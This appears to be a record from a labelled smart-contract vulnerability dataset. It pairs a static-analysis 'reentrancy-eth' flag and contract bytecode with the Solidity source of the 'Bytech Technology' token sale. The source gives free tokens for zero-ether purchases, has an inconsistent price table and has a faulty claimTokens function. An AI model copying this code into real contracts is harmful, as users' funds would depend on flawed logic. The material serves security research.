fffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231257600080fd5b505afa158015612326573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234a9190613a46565b8160018151811061235e5761235d6132e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c530601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612429959493929190613b6c565b600060405180830381600087803b15801561244357600080fd5b505af1158015612457573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124875761248661251b565b5b61249284848461255e565b806124a05761249f612729565b5b50505050565b60008060006124b361273d565b915091506124ca81836124d190919063ffffffff16565b9250505090565b600061251383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612799565b905092915050565b6000600c5414801561252f57506000600d54145b156125395761255c565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612570876127fc565b9550955095509550955095506125ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ae90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126af8161290c565b6126b984836129c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127169190612f90565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600066038d7ea4c68000905061276f66038d7ea4c680006006546124d190919063ffffffff16565b82101561278c5760065466038d7ea4c68000935093505050612795565b81819350935050505b9091565b600080831182906127e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d79190612e39565b60405180910390fd5b50600083856127ef9190613bf5565b9050809150509392505050565b60008060008060008060008060006128198a600c54600d54612a03565b92509250925060006128296124a6565b9050600080600061283c8e878787612a99565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b5565b905092915050565b60008082846128bd9190613883565b905083811015612902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f990613c72565b60405180910390fd5b8091505092915050565b60006129166124a6565b9050600061292d8284612b2290919063ffffffff16565b905061298181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ae90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129de8260065461286490919063ffffffff16565b6006819055506129f9816007546128ae90919063ffffffff16565b6007819055505050565b600080600080612a2f6064612a21888a612b2290919063ffffffff16565b6124d190919063ffffffff16565b90506000612a596064612a4b888b612b2290919063ffffffff16565b6124d190919063ffffffff16565b90506000612a8282612a74858c61286490919063ffffffff16565b61286490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab28589612b2290919063ffffffff16565b90506000612ac98689612b2290919063ffffffff16565b90506000612ae08789612b2290919063ffffffff16565b90506000612b0982612afb858761286490919063ffffffff16565b61286490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b355760009050612b97565b60008284612b439190613c92565b9050828482612b529190613bf5565b14612b92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8990613d5e565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bff82612bb6565b810181811067ffffffffffffffff82111715612c1e57612c1d612bc7565b5b80604052505050565b6000612c31612b9d565b9050612c3d8282612bf6565b919050565b600067ffffffffffffffff821115612c5d57612c5c612bc7565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c9e82612c73565b9050919050565b612cae81612c93565b8114612cb957600080fd5b50565b600081359050612ccb81612ca5565b92915050565b6000612ce4612cdf84612c42565b612c27565b90508083825260208201905060208402830185811115612d0757612d06612c6e565b5b835b81811015612d305780612d1c8882612cbc565b845260208401935050602081019050612d09565b5050509392505050565b600082601f830112612d4f57612d4e612bb1565b5b8135612d5f848260208601612cd1565b91505092915050565b600060208284031215612d7e57612d7d612ba7565b5b600082013567ffffffffffffffff811115612d9c57612d9b612bac565b5b612da884828501612d3a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612deb578082015181840152602081019050612dd0565b83811115612dfa576000848401525b50505050565b6000612e0b82612db1565b612e158185612dbc565b9350612e25818560208601612dcd565b612e2e81612bb6565b840191505092915050565b60006020820190508181036000830152612e538184612e00565b905092915050565b6000819050919050565b612e6e81612e5b565b8114612e7957600080fd5b50565b600081359050612e8b81612e65565b92915050565b60008060408385031215612ea857612ea7612ba7565b5b6000612eb685828601612cbc565b9250506020612ec785828601612e7c565b9150509250929050565b60008115159050919050565b612ee681612ed1565b82525050565b6000602082019050612f016000830184612edd565b92915050565b6000819050919050565b6000612f2c612f27612f2284612c73565b612f07565b612c73565b9050919050565b6000612f3e82612f11565b9050919050565b6000612f5082612f33565b9050919050565b612f6081612f45565b82525050565b6000602082019050612f7b6000830184612f57565b92915050565b612f8a81612e5b565b82525050565b6000602082019050612fa56000830184612f81565b92915050565b600080600060608486031215612fc457612fc3612ba7565b5b6000612fd286828701612cbc565b9350506020612fe386828701612cbc565b9250506040612ff486828701612e7c565b9150509250925092565b600060ff82169050919050565b61301481612ffe565b82525050565b600060208201905061302f600083018461300b565b92915050565b61303e81612c93565b82525050565b60006020820190506130596000830184613035565b92915050565b60006020828403121561307557613074612ba7565b5b600061308384828501612cbc565b91505092915050565b61309581612ed1565b81146130a057600080fd5b50565b6000813590506130b28161308c565b92915050565b6000602082840312156130ce576130cd612ba7565b5b60006130dc848285016130a3565b91505092915050565b6000602082840312156130fb576130fa612ba7565b5b600061310984828501612e7c565b91505092915050565b6000806000806080858703121561312c5761312b612ba7565b5b600061313a87828801612e7c565b945050602061314b87828801612e7c565b935050604061315c87828801612e7c565b925050606061316d87828801612e7c565b91505092959194509250565b600080fd5b60008083601f84011261319457613193612bb1565b5b8235905067ffffffffffffffff8111156131b1576131b0613179565b5b6020830191508360208202830111156131cd576131cc612c6e565b5b9250929050565b6000806000604084860312156131ed576131ec612ba7565b5b600084013567ffffffffffffffff81111561320b5761320a612bac565b5b6132178682870161317e565b9350935050602061322a868287016130a3565b9150509250925092565b6000806040838503121561324b5761324a612ba7565b5b600061325985828601612cbc565b925050602061326a85828601612cbc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132aa602083612dbc565b91506132b582613274565b602082019050919050565b600060208201905081810360008301526132d98161329d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334982612e5b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561337c5761337b61330f565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e3602683612dbc565b91506133ee82613387565b604082019050919050565b60006020820190508181036000830152613412816133d6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613475602483612dbc565b915061348082613419565b604082019050919050565b600060208201905081810360008301526134a481613468565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613507602283612dbc565b9150613512826134ab565b604082019050919050565b60006020820190508181036000830152613536816134fa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613599602583612dbc565b91506135a48261353d565b604082019050919050565b600060208201905081810360008301526135c88161358c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362b602383612dbc565b9150613636826135cf565b604082019050919050565b6000602082019050818103600083015261365a8161361e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136bd602983612dbc565b91506136c882613661565b604082019050919050565b600060208201905081810360008301526136ec816136b0565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061374f603f83612dbc565b915061375a826136f3565b604082019050919050565b6000602082019050818103600083015261377e81613742565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bb601c83612dbc565b91506137c682613785565b602082019050919050565b600060208201905081810360008301526137ea816137ae565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b600061384d602383612dbc565b9150613858826137f1565b604082019050919050565b6000602082019050818103600083015261387c81613840565b9050919050565b600061388e82612e5b565b915061389983612e5b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138ce576138cd61330f565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613935602383612dbc565b9150613940826138d9565b604082019050919050565b6000602082019050818103600083015261396481613928565b9050919050565b600061397682612e5b565b915061398183612e5b565b9250828210156139945761399361330f565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139fb602a83612dbc565b9150613a068261399f565b604082019050919050565b60006020820190508181036000830152613a2a816139ee565b9050919050565b600081519050613a4081612ca5565b92915050565b600060208284031215613a5c57613a5b612ba7565b5b6000613a6a84828501613a31565b91505092915050565b6000819050919050565b6000613a98613a93613a8e84613a73565b612f07565b612e5b565b9050919050565b613aa881613a7d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae381612c93565b82525050565b6000613af58383613ada565b60208301905092915050565b6000602082019050919050565b6000613b1982613aae565b613b238185613ab9565b9350613b2e83613aca565b8060005b83811015613b5f578151613b468882613ae9565b9750613b5183613b01565b925050600181019050613b32565b5085935050505092915050565b600060a082019050613b816000830188612f81565b613b8e6020830187613a9f565b8181036040830152613ba08186613b0e565b9050613baf6060830185613035565b613bbc6080830184612f81565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0082612e5b565b9150613c0b83612e5b565b925082613c1b57613c1a613bc6565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c5c601b83612dbc565b9150613c6782613c26565b602082019050919050565b60006020820190508181036000830152613c8b81613c4f565b9050919050565b6000613c9d82612e5b565b9150613ca883612e5b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce157613ce061330f565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d48602183612dbc565b9150613d5382613cec565b604082019050919050565b60006020820190508181036000830152613d7781613d3b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cfb127e71a1800da1749275cbedd75a8bb588fd1e45bcf214eb320870ad377464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,134 |
0xb772C656f5021b6F0aB5d701C8e2B3c06735071A
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bytech Technology'
//
// NAME : Bytech Technology
// Symbol : BYT
// Total supply: 700,000,000
// Decimals : 8
//
// Enjoy.
//
// (c) by Bytech Technology team.Designed by TunaDuong#BlockchianDeveloper
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BytechTechnology is StandardToken {
string public constant name = "Bytech Technology";
string public constant symbol = "BYT";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 70 * 10**7 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function BytechTechnology() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* If the user sends 0 ether, he receives 200
* If he sends 0.001 ether, he receives 300
* If he sends 0.005 ether, he receives 1500
* If he sends 0.01 ether, he receives 3000
* If he sends 0.1 ether he receives 30000
* If he sends 1 ether, he receives 300,000 +100%
*/
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 200 * (10**uint256(decimals));
}
if( _weiAmount == 0.001 ether){
amountOfTokens = 300 * (10**uint256(decimals));
}
if( _weiAmount == 0.002 ether){
amountOfTokens = 600 * (10**uint256(decimals));
}
if( _weiAmount == 0.003 ether){
amountOfTokens = 900 * (10**uint256(decimals));
}
if( _weiAmount == 0.004 ether){
amountOfTokens = 1200 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 1500 * (10**uint256(decimals));
}
if( _weiAmount == 0.006 ether){
amountOfTokens = 1800 * (10**uint256(decimals));
}
if( _weiAmount == 0.007 ether){
amountOfTokens = 2100 * (10**uint256(decimals));
}
if( _weiAmount == 0.008 ether){
amountOfTokens = 2400 * (10**uint256(decimals));
}
if( _weiAmount == 0.009 ether){
amountOfTokens = 2700 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 3000 * (10**uint256(decimals));
}
if( _weiAmount == 0.02 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if( _weiAmount == 0.03 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if( _weiAmount == 0.04 ether){
amountOfTokens = 12000 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 15000 * (10**uint256(decimals));
}
if( _weiAmount == 0.06 ether){
amountOfTokens = 18000 * (10**uint256(decimals));
}
if( _weiAmount == 0.07 ether){
amountOfTokens = 21000 * (10**uint256(decimals));
}
if( _weiAmount == 0.08 ether){
amountOfTokens = 24000 * (10**uint256(decimals));
}
if( _weiAmount == 0.09 ether){
amountOfTokens = 27000 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 30 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.2 ether){
amountOfTokens = 60 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.3 ether){
amountOfTokens = 90 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.4 ether){
amountOfTokens = 120 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.5 ether){
amountOfTokens = 225 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.6 ether){
amountOfTokens = 180 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.7 ether){
amountOfTokens = 210 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.8 ether){
amountOfTokens = 240 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.9 ether){
amountOfTokens = 270 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 1 ether){
amountOfTokens = 600 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
|
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101da57806318160ddd1461023f57806323b872dd1461026a5780632ff2e9dc146102ef578063313ce5671461031a5780634042b66f1461034b57806348c54b9d14610376578063661884631461038d57806370a08231146103f257806378f7aeee146104495780638da5cb5b1461047457806395d89b41146104cb578063a6f9dae11461055b578063a9059cbb146105b6578063b66a0e5d1461061b578063bef97c8714610632578063d73dd62314610661578063dd62ed3e146106c6578063e36b0b371461073d578063e985e36714610754578063ec8ac4d814610783578063f41e60c5146107cd578063fc38ce19146107fc575b6101473361083d565b50005b34801561015657600080fd5b5061015f6109ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019f578082015181840152602081019050610184565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e657600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a27565b604051808215151515815260200191505060405180910390f35b34801561024b57600080fd5b50610254610b19565b6040518082815260200191505060405180910390f35b34801561027657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610304610f12565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f610f23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035757600080fd5b50610360610f28565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610f2e565b005b34801561039957600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ce565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b50610433600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135f565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b5061045e6113a8565b6040518082815260200191505060405180910390f35b34801561048057600080fd5b506104896113ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e06113d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b50610601600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156d565b604051808215151515815260200191505060405180910390f35b34801561062757600080fd5b506106306117c5565b005b34801561063e57600080fd5b5061064761183e565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611851565b604051808215151515815260200191505060405180910390f35b3480156106d257600080fd5b50610727600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4d565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b50610752611aec565b005b34801561076057600080fd5b50610769611b65565b604051808215151515815260200191505060405180910390f35b6107b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083d565b6040518082815260200191505060405180910390f35b3480156107d957600080fd5b506107fa600480360381019080803515159060200190929190505050611b78565b005b34801561080857600080fd5b5061082760048036038101908080359060200190929190505050611bf1565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561087f57600080fd5b60011515600860149054906101000a900460ff1615151415156108a157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692503491506108d282611bf1565b905060008114156108e257600080fd5b6108f782600654611cbc90919063ffffffff16565b60068190555061091281600754611cbc90919063ffffffff16565b6007819055506109458582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611cda565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109e2573d6000803e3d6000fd5b50809350505050919050565b6040805190810160405280601181526020017f42797465636820546563686e6f6c6f677900000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610b3857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7457600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bc257600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610c4d57600080fd5b600360009054906101000a900460ff161515610c6857600080fd5b610cba83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4f83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2183600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600860ff16600a0a6329b927000281565b600881565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8c57600080fd5b600860009054906101000a900473ffffffffffffff